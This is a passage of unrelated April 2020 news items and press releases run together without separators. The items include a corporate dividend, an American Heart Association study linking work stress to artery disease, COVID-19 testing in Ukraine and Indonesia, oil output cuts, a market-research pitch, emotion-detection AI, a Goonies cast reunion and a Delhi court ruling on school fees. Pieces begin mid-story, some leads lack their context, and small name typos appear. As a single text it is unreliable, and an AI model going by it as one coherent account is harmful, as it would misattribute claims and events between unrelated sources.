the pleasure of the council and no longer have that trust and backing. I extend my gratitude to those who have supported me during my tenure. I have always felt that serving Vallejo in a voluntary position is honorable because Vallejo is worth serving. We are all living in uncertain times and I certainly, like many of you, am adjusting to a new normalcy." More at the Vallejo Times-Herald. The New York Times, AP, and Buzzfeed also have stories out now. BELOIT, Wis., April 28, 2020 /PRNewswire/ -- Louis Pinkham, Chief Executive Officer of Regal Beloit Corporation (NYSE: RBC), announced that the Board of Directors, at its regular quarterly meeting held on April 27, 2020, declared a dividend of $0.30 per share. The dividend is payable on July 10, 2020, to shareholders of record at the close of business on June 26, 2020. The company has paid a dividend every quarter since January 1961. Regal Beloit Corporation is a global leader in the engineering and manufacturing of electric motors and controls, power generation solutions, and power transmission products serving customers throughout the world. We create a better tomorrow by developing and responsibly producing energy-efficient products and systems. Our company is comprised of four operating segments: Commercial Systems, Industrial Systems, Climate Solutions, and Power Transmission Solutions. Regal is headquartered in Beloit, Wisconsin and has manufacturing, sales and service facilities worldwide. For more information, visit RegalBeloit.com. SOURCE Regal Beloit Corporation Related Links http://www.regalbeloit.com DALLAS, April 28, 2020 -- People who reported work-related stress were more likely to be hospitalized for peripheral artery disease compared to those who did not report work-related stress, according to new research published today in the Journal of the American Heart Association, an open access journal of the American Heart Association. The article appears in a special spotlight issue exploring different aspects of the complex relationships between psychosocial factors and cardiovascular health. Peripheral artery disease, or PAD, is a cardiovascular disease that occurs when cholesterol or other fatty substances in the blood build up in the blood vessels away from the heart, usually the legs, impeding blood flow. Symptoms often include leg pain while walking. Left untreated, peripheral artery disease increases the likelihood of heart disease and stroke. Worldwide, peripheral artery disease affects more than 200 million people, including more than 8.5 million in the United States. Despite the considerable burden of peripheral artery disease, the evidence on specific risk factors, including potential primary preventive targets, for this disease is scarce, according to researchers. Work-related stress, or job strain, refers to psychological and social stress at work, often from high expectations combined with lower levels of personal control. Previous studies have linked work-related stress to other forms of atherosclerotic disease; however, few have specifically analyzed its effects on peripheral artery disease. This study focused on the relationship between work-related stress and hospital treatment for peripheral artery disease. The researchers evaluated the records of 139,000 men and women (36.4% men; average age of study participants range 39-49) participating in 11 separate studies from 1985-2008 in Finland, Sweden, Denmark and the United Kingdom. Participants included in the analysis had no previous history of peripheral artery disease when the respective studies began. Individual information for each participant included age, sex, BMI, smoker or nonsmoker, alcohol consumption, physical activity level, diabetes status, socioeconomic position, data on hospitalizations and the questionnaire on work-related stress. During an average 12.8 years of follow up, 667 people (0.2 to 1.8% of participants) were hospitalized for peripheral artery disease. Researchers found that people with work-related stress were 1.4 times as likely as those without work-related stress to have a record of peripheral artery disease in the hospitalization register, after adjusting for age, sex and lifestyle variables. "Our findings suggest that work-related stress may be a risk factor for peripheral artery disease in a similar way as it is for heart disease and stroke," said lead study author Katriina Heikkila, Ph.D., senior researcher at the Karolinska Institute, Stockholm. Stress is associated with increased inflammation and higher blood glucose levels. So, although there is limited evidence linking work-related stress to heart disease, stress could be contributing to complications and exacerbations of peripheral artery disease. The investigators measured work-related stress based on participants' ratings of statements to describe psychosocial aspects of their job. This information was compared to records on peripheral artery disease hospitalizations across nearly 13 years of hospital records. Overall, nearly one-fourth of participants with no previous hospitalization for peripheral artery disease reported work-related stress at the beginning of the 11 studies. Researchers noted increased risk among men, those with high socioeconomic position and smokers, but noted such subgroup analysis was limited by the small number of people with peripheral artery disease. Limitations of this study are that it included hospital-treated peripheral artery disease only, which means that the results cannot be generalized to less severe forms of the disease. Also, certain health information, such as blood pressure and cholesterol levels, was unavailable. Co-authors are Jaana Pentti, M.Sc.; Ida E.H. Madsen, Ph.D.; Tea Lallukka, Ph.D.; Marianna Virtanen, Ph.D.; Lars Alfredsson, M.D., Ph.D.; Jakob Bjorner, Ph.D.; Marianne Borritz, M.D.; Eric Brunner, Ph.D.; Hermann Burr, Ph.D.; Jane E. Ferrie, Ph.D.; Anders Knutsson, M.D.; Aki Koskinen, M.S.; Constanze Leineweber, Ph.D.; Linda L. Magnusson Hanson, Ph.D.; Martin L. Nielsen, M.D.; Solja T. Nyberg, Ph.D.; Tuula Oksanen, M.D.; Jan H. Pejtersen, Ph.D; Olli Pietilainen, M.Sc.; Ossi Rahkonen, Ph.D.; Reiner Rugulies, Ph.D.; Archana Singh-Manoux, Ph.D.; Andrew Steptoe, D.Sci.; Sakari Suominen, M.D.; Tores Theorell, Ph.D.; Jussi Vahtera, M.D., Ph.D.; Ari Vaananen, Ph.D.; Hugo Westerlund, Ph.D.; and Mika Kivimaki, Ph.D. Author disclosures are in the manuscript. NordForsk (the Nordic Research Programme on Health and Welfare), the United Kingdom Medical Research Council, the Academy of Finland and the Helsinki Institute of Life Sciences funded the study. Additional original articles published in JAHA's spotlight issue on psychosocial risk factors in cardiovascular disease include: Youth Who Achieve Upward Socioeconomic Mobility Display Lower Psychological Distress But Higher Metabolic Syndrome Rates as Adults: Prospective Evidence from the National Study of Adolescent Health and The Midlife in the United States Study Sleep characteristics and measures of glucose metabolism in African Americans: The Jackson Heart Study An Analysis of Post-Traumatic Stress Disorder (PTSD), Depression, Anxiety and Resiliency within the Unique Population of Spontaneous Coronary Artery Dissection Survivors Association of Childhood Psychosocial Environment with 30-year Cardiovascular Disease Incidence and Mortality in Middle Age From Tear to Fear: Posttraumatic Stress Disorder in Patients with Acute Type A Aortic Dissection Prevalence and Prognostic Association of a Clinical Diagnosis of Depression in Adult Congenital Heart Disease: Results of the Boston Adult Congenital Heart Disease Biobank Cardiovascular Risk and Resilience among Blacks: Rationale and Design of the Morehouse-Emory Center (MECA) for Health Equity Greater Daily Psychosocial Stress Exposure is Associated with Increased Norepinephrine-Induced Vasoconstriction in Young Adults Goal-Striving Stress and Incident Cardiovascular Disease in African Americans: The Jackson Heart Study Positive Health Beliefs and Blood Pressure Reduction in the Discharge Educational Strategies for Reduction of Vascular Events (DESERVE) Study Exploring the spatial patterning in racial differences in cardiovascular health between blacks and whites across the United States: The Reasons for Geographic and Racial Differences in Stroke (REGARDS) Study ### Additional Resources: Available multimedia is on right column of release link - https://newsroom.heart.org/news/work-related-stress-linked-to-increased-risk-for-peripheral-artery-disease?preview=f2fb71365d15866a9c2a1c7c4a7df9d5 After April 28, view the Heikkila manuscript and all the manuscripts online. Long work hours at the office linked to both regular and hidden high blood pressure Long work hours associated with increased risk of stroke How to manage stress About Peripheral Artery Disease AHA COVID-19 Newsroom Follow AHA/ASA news on Twitter @HeartNews Follow news from the Journal of the American Heart Association @JAHA_AHA Statements and conclusions of study authors published in American Heart Association scientific journals are solely those of the study authors and do not necessarily reflect the Association's policy or position. The Association makes no representation or guarantee as to their accuracy or reliability. The Association receives funding primarily from individuals; foundations and corporations (including pharmaceutical, device manufacturers and other companies) also make donations and fund specific Association programs and events. The Association has strict policies to prevent these relationships from influencing the science content. Revenues from pharmaceutical and device corporations and health insurance providers are available at https://www.heart.org/en/about-us/aha-financial-information. About the American Heart Association The American Heart Association is a relentless force for a world of longer, healthier lives. We are dedicated to ensuring equitable health in all communities. Through collaboration with numerous organizations, and powered by millions of volunteers, we fund innovative research, advocate for the public's health and share lifesaving resources. The Dallas-based organization has been a leading source of health information for nearly a century. Connect with us on heart.org, Facebook, Twitter or by calling 1-800-AHA-USA1. The move will help consider allowing quarantine easing sooner than expected, an immunologist suggested. Ukraine's Chief Medical Officer Viktor Liashko has said the first testing campaigns to detect coronavirus antibodies will be launched in Odesa and Sumy regions. "We have already got ELISA [enzyme-linked immunosorbent assay] tests and we are starting to render testing services. So, we'll see a real picture. No one is going to hide the true picture of the incidence," Liashko told a Svoboda Slova [Freedom of Speech] panel show on Ukraine's ICTV channel on April 27, as reported by the Ukrainian news outlet Hromadske. Read alsoCoronavirus update: Health officials confirm 401 new cases in past 24 hours According to Liashko, such tests will allow looking retrospectively for the presence of antibodies in blood and to find out epidemiologically whether COVID-19 cases have been missed. Earlier, immunologist Fedir Lapiy said mass testing of Ukrainian citizens for coronavirus antibodies could help lift the quarantine sooner. Russian Energy Minister Alexander Novak said oil markets would start balancing out once an output deal takes effect in May while no significant rise in prices is likely in the near future due to high levels of global storage. "However, you shouldnt wait for a significant rise in the price of a barrel in the nearest future due to high inventories," the Russian minister told a ministrys inhouse magazine published on Tuesday. OPEC and other large oil producers including Russia have agreed to cut output by almost 10 million barrels per day (bpd), or 10% of global oil production, in May-June. Additional cuts are expected from countries such as the United States, Canada, Norway and Brazil. Fuel demand is down 30% globally, and storage is becoming precious, with roughly 85% of worldwide onshore storage full as of last week, data from intelligence firm Kpler showed. The oil markets have fallen for eight of the past nine weeks, Reuters reported. (Bloomberg) -- Indonesian President Joko Widodo called for an urgent expansion of testing and aggressive containment measures to prevent the spread of coronavirus thats killed almost 600 people in the worlds fourth-most populous nation. Large scale testing nationwide should be followed by aggressively tracking and isolating those exposed to the deadly disease, Jokowi, as the president is known, told a cabinet meeting in Jakarta Monday. The president also asked officials to widely disseminate data related to the pandemic to dispel any impression of a cover up by the government. Indonesias capital Jakarta and its satellite cities have emerged as the epicenter of the pandemic in the country with infections more than quadrupling to 6,760 since the start of the month. The outbreak has killed 590 people in Indonesia, the most in Asia after China, according to Johns Hopkins University data. Indonesia has tested only about 44,000 people for the virus so far with health experts attributing the high mortality rate of 8.7% to slow pace of diagnosis across the archipelago of more than 17,000 island. The nation also has about 182,000 people under medical observation, according to official data. Authorities have now placed several cities and towns under partial lockdowns to contain the virus with the government warning the worst phase of the pandemic has yet to come. Infections may peak at around 95,000 by the end of next month before starting to ease, according to officials. Jokowi ordered officials to review the tighter social distancing rules, which place no ban on domestic travel but prohibit gatherings of more than five people at social and religious events. Jakarta, the first city to adopt the partial lockdown on April 10, may extend the measures, The Jakarta Post reported, citing Governor Anies Baswedan. Jokowi has rejected calls for the kinds of travel restrictions and regional quarantines imposed in other parts of the world, saying such harsh measures would hurt the poor. As domestic travel is still largely unrestricted, health experts have warned an annual ritual of millions of people going to their hometowns and village to celebrate Muslim festival of Eid al-Fitr may spread the virus. Story continues The government will ensure adequate stockpiles of food with the nations majority Muslim population set to begin the fasting month of Ramadan this week, Jokowi said, asking officials to guarantee smooth transport and production of staples. The president also said the government would distribute food kits to 1.2 million families in Jakarta, extending the aid to other cities soon. (Updates cases in third paragraph.) For more articles like this, please visit us at bloomberg.com Subscribe now to stay ahead with the most trusted business news source. 2020 Bloomberg L.P. Technavio has been monitoring the loan servicing software market and it is poised to grow by USD 446.54 million during 2019-2023, progressing at a CAGR of almost 12% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200427005584/en/ Technavio has announced its latest market research report titled Global Loan Servicing Software Market 2019-2023 (Graphic: Business Wire) Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please Request Latest Free Sample Report on COVID-19 Impact The market is moderately fragmented, and the degree of fragmentation will accelerate during the forecast period. Applied Business Software Inc., AutoPal Software LLC, Fidelity National Information Services Inc., Financial Industry Computer Systems Inc., Finastra, Fiserv Inc., Mortgage Builder, Nortridge Software LLC, Q2 Software Inc., and Shaw Systems Associates LLC. are some of the major market participants. The need for efficient lending operations will offer immense growth opportunities. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments. Need for efficient lending operations has been instrumental in driving the growth of the market. Loan Servicing Software Market 2019-2023: Segmentation Loan Servicing Software Market is segmented as below: Deployment Cloud-based On-premise Geographic Landscape APAC Europe MEA North America South America To learn more about the global trends impacting the future of market research, download latest free sample report of 2020-2024: https://www.technavio.com/talk-to-us?report=IRTNTR31991 Loan Servicing Software Market 2019-2023: Scope Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our loan servicing software market report covers the following areas: Loan Servicing Software Market Size Loan Servicing Software Market Trends Loan Servicing Software Market Industry Analysis This study identifies rise in adoption of cloud-based loan servicing software as one of the prime reasons driving the loan servicing software market growth during the next few years. Loan Servicing Software Market 2019-2023: Vendor Analysis We provide a detailed analysis of vendors operating in the loan servicing software market, including some of the vendors such as Applied Business Software Inc., AutoPal Software LLC, Fidelity National Information Services Inc., Financial Industry Computer Systems Inc., Finastra, Fiserv Inc., Mortgage Builder, Nortridge Software LLC, Q2 Software Inc., and Shaw Systems Associates LLC. Backed with competitive intelligence and benchmarking, our research reports on the loan servicing software market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support. Register for a free trial today and gain instant access to 17,000+ market research reports. Technavio's SUBSCRIPTION platform Loan Servicing Software Market 2019-2023: Key Highlights CAGR of the market during the forecast period 2019-2023 Detailed information on factors that will assist loan servicing software market growth during the next five years Estimation of the loan servicing software market size and its contribution to the parent market Predictions on upcoming trends and changes in consumer behavior The growth of the loan servicing software market Analysis of the market's competitive landscape and detailed information on vendors Comprehensive details of factors that will challenge the growth of loan servicing software market vendors Table Of Contents: PART 01: EXECUTIVE SUMMARY PART 02: SCOPE OF THE REPORT 2.1 Preface 2.2 Preface 2.3 Currency conversion rates for US$ PART 03: MARKET LANDSCAPE Market ecosystem Market characteristics Market segmentation analysis PART 04: MARKET SIZING Market definition Market sizing 2018 Market size and forecast 2018-2023 PART 05: FIVE FORCES ANALYSIS Bargaining power of buyers Bargaining power of suppliers Threat of new entrants Threat of substitutes Threat of rivalry Market condition PART 06: MARKET SEGMENTATION BY DEPLOYMENT Market segmentation by deployment Comparison by deployment Cloud-based Market size and forecast 2018-2023 On-premise Market size and forecast 2018-2023 Market opportunity by deployment PART 07: CUSTOMER LANDSCAPE PART 08: GEOGRAPHIC LANDSCAPE Geographic segmentation Geographic comparison North America Market size and forecast 2018-2023 Europe Market size and forecast 2018-2023 APAC Market size and forecast 2018-2023 South America Market size and forecast 2018-2023 MEA Market size and forecast 2018-2023 Key leading countries Market opportunity PART 09: DECISION FRAMEWORK PART 10: DRIVERS AND CHALLENGES Market drivers Market challenges PART 11: MARKET TRENDS Strategic partnerships and acquisitions between market participants Use of advanced technologies Use of analytics in lending industry PART 12: VENDOR LANDSCAPE Overview Landscape disruption PART 13: VENDOR ANALYSIS Vendors covered Vendor classification Market positioning of vendors Applied Business Software Inc. AutoPal Software LLC Fidelity National Information Services Inc. Financial Industry Computer Systems Inc. Finastra Fiserv Inc. Mortgage Builder Nortridge Software LLC Q2 Software Inc. Shaw Systems Associates LLC PART 14: APPENDIX Research methodology List of abbreviations Definition of market positioning of vendors PART 15: EXPLORE TECHNAVIO About Us Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200427005584/en/ Contacts: Technavio Research Jesse Maida Media Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: media@technavio.com Website: www.technavio.com/ [April 28, 2020] Realeyes Announces The Development of Enhanced Emotion AI Technology Surpassing Industry Standards for Understanding People's Attention and Emotions NEW YORK, April 28, 2020 (GLOBE NEWSWIRE) -- Realeyes , a leading computer vision and emotion AI company, announced today the availability of its next-generation facial coding technology. Realeyes uses front-facing cameras and the latest in computer vision and machine learning technologies to detect attention and emotion among opt-in audiences as they watch video content. The enhanced classification system will provide customers with more sensitive, accurate insights into the emotional impact of their video content. Realeyes continues to set the industry standard for facial coding accuracy. The improved classification system results in a 20% increase in emotion detection across all measured emotions from facial cues. It also reduces occasional false positive emotion readings by half. Realeyes is the most accurate emotion detection technology among leading API cloud providers, based on an internal benchmark study of thousands of videos. Our technology has reached a new level of sophistication, with the accuracy of our detection beginning to rival that of humans across certain emotions like happiness and surprise, said Elnar Hajiyev, Chief Technology Officer at Realeyes. Realeyes is building transformational apps to enable companies to create more remarkable experiences for people, and it starts with a foundation f world-class core vision technology. Realeyes today holds 11 patents covering different aspects of building emotion AI technology, and has 29 pending. The updated classifications are applied to all Realeyes products and improve on the platforms ability to accurately analyze a wider variety of viewers faces and emotions. The new classifications allow for more nuanced reading through more sensitive emotional curves and bring greater value to the data collected through facial coding. Said Hajiyev: More accurate detection enables companies to better understand the pure attention and emotion response of their audiences. However, more accurate emotion detection also enables advertisers to better predict in-market outcomes such as video view-through rates, so they can create more engaging creative to maximize media spend. Realeyes upgraded classifiers allow for a greater range of facial measurements across ethnicities, especially those of Asian heritage. Combined with improvements to Realeyes performance on mobile devices, the updates pave the way for an entirely new range of products and applications based on emotion AI, along with relevance in new markets around the world. Realeyes announced the appointment of its Japan country manager Kyoko Tanaka followed by last years strategic investment from notable international investors Draper Esprit, and NTT DOCOMO Ventures, Inc., the VC arm of NTT Group, Japans leading mobile operator. Trained on the worlds richest database of facial coding data, Realeyes technology now incorporates more than 615 million emotional labels across more than 3.8 million video sessions to provide more nuanced insights into the emotional impact of video content. The recent update strengthens Realeyes predictive modeling for behaviors like view-through rate and responses like interest and likability, while providing best-in-class results 8x faster than its previous version. About Realeyes Using front-facing cameras and the latest in computer vision and machine learning technologies, Realeyes measures how people feel as they watch video content online, enabling brands, agencies and media companies to inform and optimize their content as well as target their videos at the right audiences. Realeyes technology applies facial coding to predictive, big-data analytics, driving bottom-line business outcomes for brands and publishers. Founded in 2007, Realeyes has offices in New York, London, Tokyo and Budapest. Customers include brands such as Mars Inc, AT&T, Hersheys and Coca-Cola, agencies Ipsos, MarketCast and Publicis, and media companies such as Warner Media and Teads. Media Contact: Ben Billingsley Broadsheet Communications (917) 826 - 1103 [email protected] [ Back To TMCnet.com's Homepage ] China on Tuesday urged India to step up communication to "properly resolve" the issue with the two Chinese firms which supplied the COVID-19 antibody rapid test kits, subsequently found faulty by the Indian Council of Medical Research (ICMR). The ICMR on Monday asked states and union territories to stop using the test kits procured from the Guangzhou Wondfo Biotech and Zhuhai Livzon Diagnostics due to the "wide variations" in their performance. India procured around five lakh rapid antibody test kits from the two Chinese firms. Asked whether China would conduct any investigation on this issue, Chinese Foreign Ministry spokesman Geng Shuang told a media briefing here that India and China are closely coordinating and cooperating with each other since the coronavirus outbreak surfaced. "As to the specific incidents you mentioned, we hope the Indian side will step up communication with the Chinese companies to properly solve this issue. Of course, China and India have channels of communication. These are open," Geng said, adding that China stands ready to share more experience and offer assistance as per its capacity. He also mentioned that the two companies have released statements in which they said that the quick test kits they produced were approved by China's National Medical Products Administration of China (NMPA) and met the quality standards and they have been verified by the Indian institute of virology attached to the ICMR. "China and India maintained close communication and cooperation. China shared experience with India and donated medical supplies to it. We hope the Indian side will stick to facts and enhance communication with the Chinese side to properly handle the issue and help promote cooperation between the two sides to fight the virus," Geng said. Indian officials In Beijing said the issue is being dealt with by the concerned agencies in Delhi. Earlier, the Chinese Embassy in India said in a statement that it was "deeply concerned" over the evaluation result of the COVID-19 rapid testing kits supplied to India by the two Chinese companies and subsequent decision by the ICMR to not use the equipment. China, which has been dealing with such complaints from different countries over COVID-19 medical supplies, has stepped up official controls on the exports in recent weeks and advised the importing countries to procure all such equipment from companies authorised by the government. Both the firms which supplied the kits to India were approved by the Chinese government. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Lunch sets shipped to the health workers in emergency stations (Photo: VNA) Although many restaurants and cafes in Moscow are on the brink of bankruptcy, some decide to cook and provide free food for the doctors with a hope that they will enjoy delicious meals during their short rest. Recently, a charitable group of Vietnamese people donated over RUB400,000 for a Vietnamese restaurant to cook and present 65 lunch sets a day in 10 days to health workers in emergency stations in Lyublino district where many Vietnamese are living. The Tam Tam Foods Company granted five packages of Vietnamese coffee to show gratitude for the heath workers. Last week, the Vietnamese community in Russia's Irkutsk city also donated 4,000 cloth face masks for a local voluntary campaign in support of the fight against the COVID-19./. President Donald Trump on Tuesday had a telephone conversation with President Muhammadu Buhari, and declared support for Nigeria on the fight against COVID-19 pandemic. Minister of information, Lai Mohammed, disclosed this at the daily media briefing of the presidential task force on COVID-19. He said the US president promised to send across ventilators to Nigeria. The Personal Assistant to the President, Bashir Ahmad also confirmed this on his Twitter handle. He tweeted, President Muhammadu Buhari had a phone conversation with the US President Donald Trump today, the two leaders discussed Nigerias efforts to defeat the COVID19 Pandemic, and President Trump pledged US support and solidarity. #COVID19Nigeria Also confirming the telephone conversation, the Minister of Information and Culture, Lai Muhammed, said it was on the request of Trump. He described the conversation between the presidents as cordial. He said, President @MBuhari today had a phone conversation with President Donald Trump, at the request of the American President. The conversation centred on Nigerias response to the #COVID19 pandemic-HMIC, Alh. Lai Mohammed President Buhari used the opportunity to brief the American President on the steps that Nigeria is taking to contain the spread of the disease. For his part, President Trump assured that the United States stands in solidarity with Nigeria in this difficult time and promised to send ventilators to support the country in its fight against the pandemic. President Trump also extends his best regards to the people of Nigeria. HOT NOW Evil set of people Davido blasts Mercy Johnson and husband Jackie Appiah cries for help as her house gets flooded (Video) 2face Idibia and baby mama, Pero celebrate their daughter, Ehi Idibia as she turns 14 (Photos) The post Trump speaks with Buhari on telephone, promises to help Nigeria in the fight against Covid-19 appeared first on . Share this post with your Friends on Goonies never say die! Frozen star and The Goonies #1 fan Josh Gad rounded up the original cast members of the classic '80s film on Monday for an iconic virtual hangout. On the roster? Sean Astin, Corey Feldman, Jeff Cohen, Ke Huy Quan, Kerri Green, Martha Plimpton and Josh Brolin. "Today, I am going on my own treasure hunt to reunite the cast of The Godfather of its generation: The Goonies," Gad said at the start of the first episode of his new YouTube series, Reunited Apart before introducing Astin (who played Mikey). "All right, how do we do this? Do you guys, like, Zoom?" Gad asked Astin before the rest of the cast made an appearance. "Or do you send out, like, a Goonies bat signal up to the sky?" Instead of a bat signal, Astin did something even betterwithout skipping a beat, he was quick to reenact Mikey's famous "Troy's Bucket" monologue from the movie. Movies to Be Released Early On-Demand and Streaming in 2020 "Sky? Don't you realize? The next time you see sky, it'll be in another town. The next time you take a test, it'll be in some other school. Our parents, they want the best of stuff for us, but right now, they gotta do what's right for them because it's their timetheir timeup there," the Stranger Things actor recited. "Down here it's our timeit's our time down here! That's all over the minute we ride up Troy's bucket." Quickly, everyone dropped in to the epic virtual hangout and updated each other on what they've been been up to since the film was released over 35 years ago and how they're doing during the COVID-19 outbreak. "It's a great time to reassess what starts to surface as what's important and what's not so important," Brolin said during the virtual hangout. "I'm so happy to see everybody I can't even tell you." Story continues After catching up with the main cast, Gad welcomed in even more Goonies alumni. Executive producer and writer Steven Spielberg, writer Chris Columbus and director Richard Donner as well as actors Robert Davi and Joe Pantoliano (who played the Fratelli brothers) all joined in on the fun. "Our perception of you guys on set was total rivalry, the same exact rivalry that you had in the movie," Bolin asked the Fratelli brothers. "So was that rivalry real?" "100 percent, I can't stomache the guy," Pnatoliano answered jokingly. The Goonies cast even recited some of their most iconic lines. "I have a big favor to ask from everybody at home and mainly me, I think we're all wondering what it would be like to see you all reprise these roles from The Goonies 34 years later," Gad told the cast, before introducing Donner into the mix. "My best memory, I have to say didn't happen during the shooting of the movie but it happened after the shooting of the movie was over... everyone we cast was high energy and after a while, it kind of started working on Dick... so by the end of the movie, Richard just kept saying, 'Oh my god, I got two weeks to go, I can't wait to finish. I'm going to go to my house in Hawaii and I'm going to get away from all this noise. I love them to pieces but I can't stand it anymore,'" Spielberg said during the virtual reunion, recalling one of his best memories. "So right after, I took the whole cast and put them on American Airlines and sent them to Donner's house in Hawaii. So before Dick ever landed, they all showed up in his living and they can tell you the story from there." Besides bringing us major nostalgia and happiness, Gad began this quarantine-inspired YouTube series to support the Center for Disaster Philanthropy's efforts to help communities affected by the coronavirus pandemic. "Today has brought me more joy than I think any day in my life," Gad said cheerily before ending the Zoom call. "Don't tell my family." Providing e- is no-child's play and efforts made by a teacher giving online classes are more than those required in the physical classroom, the Delhi High Court has observed while refusing to direct private schools not to charge tuition fees during the lockdown period. The court said it requires extensive infrastructural adjustments, including all incidental expenses in arranging access to online platforms over which could be provided and to suggest that, having made all these arrangements, schools should not be permitted to charge tuition fees, would be bordering on absurdity. A bench of Chief Justice D N Patel and Justice C Hari Shankar, conducting the hearing through video conferencing, refused to entertain a petition seeking direction to the private schools not to charge tuition fees from the students keeping in view the present situation arising out of COVID-19, at least during the lockdown period. The plea, filed by a practicing lawyer, also sought to set aside or modify Delhi government's April 17 order to the extent that tuition fees, if any, be charged after an appropriate and reasonable time from the re-opening of the schools. The court said the Delhi government order notes the effort by several private schools to disseminate online as a welcome step which is aimed at ensuring that students do not suffer in their curricular activities during the 2020-21 academic session. We wholeheartedly endorse this sentiment. Judicial notice may be taken of the painstaking efforts, made by schools and teachers, in providing education, and holding classes, through online platforms. The effort in physically teaching students, in a regular classroom, cannot even remotely be compared with the effort that the teacher has to expend, in providing online education, the bench said. The court added: It is a matter of common knowledge that, in doing so, the effort required to be put in, by the teacher, and the strain to which the teacher subjects herself, or himself, is tremendous, and the efforts of teachers referred to, often, as the noblest among all noble professions require to be commended in the highest terms. "We unhesitatingly place, on record, our wholehearted appreciation, of the efforts of teachers, and schools, towards this end. The court said the submission of petitioner advocate Prashant Kumar that no tuition fees be charged by schools during the lockdown as the institutions are closed is fundamentally misconceived. So long as schools are disseminating education online, they are certainly entitled to charge tuition fees. Rather, the expenditure involved in disseminating education online may, conceivably, be much greater than that involved in classroom teaching. Providing e-education is no child's play, the court said in its 21-page order. Delhi government standing counsel Ramesh Singh apprised the court that the April 17 order prohibits schools from denying access to online classes to students whose parents are unable to pay the fees due to financial crisis in the lockdown period. The court noted that fees related to expenditure incurred on activities like sports, transportation and other developments stand completely exempted by the government's April 17 order. However, it does not exempt students from the requirement of payment of tuition fees for the simple reason that tuition fees cover salary, establishments and curricular activities, the expenditure where on continues to be incurred by schools, even during the period of lockdown, and before they are able to resume normal work, the court noted. Money does not grow on trees, and unaided schools, who received no funds from the government, are entirely dependent on fees, to defray their daily expenses. We, therefore, find that, in allowing unaided schools to charge tuition fees, whereby expenses incurred on salary, establishments and curricular activities may be defrayed by them, the impugned order dated April 17, 2020, strikes a wholesome balance, with which we are ill-inclined to interfere, the court said. The court observed that consequent on the global devastation wrought by the coronavirus or COVID-19 pandemic, to which India is no exception, the executive administration has had to take certain hard-hitting decisions and to put in place a slew of curbs, restraints and containments to minimise the societal effect of the viral pandemic. It is incumbent, on every member of the populace, to be aware of the forbidding nature of the struggle, between man and microbe, in which each one of us is a participant, willing or unwilling. "A joint, cohesive and concerted effort, alone, can result in success in this struggle. This would involve, in its wake, certain sacrifices, which, within the peripheries of the law, each one of us has to make. We cannot afford, in such a situation, to balk at inconveniences, it said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The government will extend its suspension of visas held by foreign nationals until the end of May in an effort to contain the spread of infections by the novel coronavirus, Prime Minister Shinzo Abe said on Monday. Visas had initially been suspended until the end of April. [April 28, 2020] ST Engineering Telematics Wireless' Smart City Solution Wins Smart 50 Award for Third Consecutive Year AUSTIN, Texas, April 28, 2020 (GLOBE NEWSWIRE) -- ST Engineering Telematics Wireless today announced that its smart city project for Cleveland, Ohio in the U.S., has been recognized as a winning solution for its customer in the Smart 50 Awards 2020, under the Digital Transformation category. This marks the companys fourth smart city project in the last three consecutive years to be recognized at the Awards. Held annually in conjunction with the Smart Cities Connect Conference & Expo, in partnership with the Smart Cities Connect, Smart Cities Connect Foundation, and US Ignite, the Awards recognize the 50 most transformative and innovative smart cities projects in the world. Smart lighting controls provided by ST Engineering reduce annual operating costs by as much as 20 percent for its customers, in addition to the anticipated 50 percent cost savings from converting to LED lighting. The solution in Cleveland uses the Telematics Wireless T-Light Galaxy platform to provide wide area communications network that manages the citys 61,000 street lights. One of Clevelands smart city projects, Safe Smart CLE - LED Streetlights with Adaptive Controls was submitted for the awards, and successfullydemonstrated how the city is building an economic engine to empower a green city on a blue lake. Advanced technologies such as the smart street lighting solution was used to make Cleveland a safer, brighter and more attractive city for its citizens and visitors. Benefits of the solution include more accurate measurement of energy use and energy savings, reduced carbon emissions and streetlight outages, and the ability to adjust lighting levels in real time. Digital transformation has led to cities turning to smart solutions for a more sustainable and cost-effective city management. Streetlight management, which contributes to an increasingly significant part of cities energy use, is a growing concern on municipal budgets. The award win reflects our innovative technologies that have benefitted our customer, positioning them as innovators that drive smart cities of the future, said Amir Hirsch, Business Development, ST Engineering Telematics Wireless. Other award-winning Smart 50 projects by ST Engineering Telematics Wireless include: Water Resource Management (Eilat, Israel) Awarded under the Urban Management category in 2019. Coastal Eilat, Israel, is home to some of the most beautiful coral reefs in the world but sewage overflows were killing off the corals. Wireless sensors were used to prevent 100% of sewage overflow, enabling the protection and regrowth of the coral reef. Awarded under the Urban Management category in 2019. Coastal Eilat, Israel, is home to some of the most beautiful coral reefs in the world but sewage overflows were killing off the corals. Wireless sensors were used to prevent 100% of sewage overflow, enabling the protection and regrowth of the coral reef. Wireless Control and Mass Notification System (Sterling Ranch, Colorado) Awarded under the Urban Infrastructure category in 2019. Sterling Ranch had implemented CitySafe, a lighting control and wireless mass notification system built on Telematics Wireless technology, to provide security, weather, safety and maintenance alerts. The system comprises technical hardware that allows CitySafe to reach out to the community faster and more effectively. Awarded under the Urban Infrastructure category in 2019. Sterling Ranch had implemented CitySafe, a lighting control and wireless mass notification system built on Telematics Wireless technology, to provide security, weather, safety and maintenance alerts. The system comprises technical hardware that allows CitySafe to reach out to the community faster and more effectively. Urban Lighting Project (City of Montreal, Canada) Awarded under the Energy category in 2018. Montreals smart street lighting project involved the modernization of 132,500 LED luminaires and the implementation of an intelligent lighting management system from three solution providers. The smart street lighting solution has helped the city to better manage its lighting network, resulting in reduced energy consumption and maintenance costs. About ST Engineering Telematics Wireless ST Engineering Telematics Wireless is a recognized global leader in the delivery of 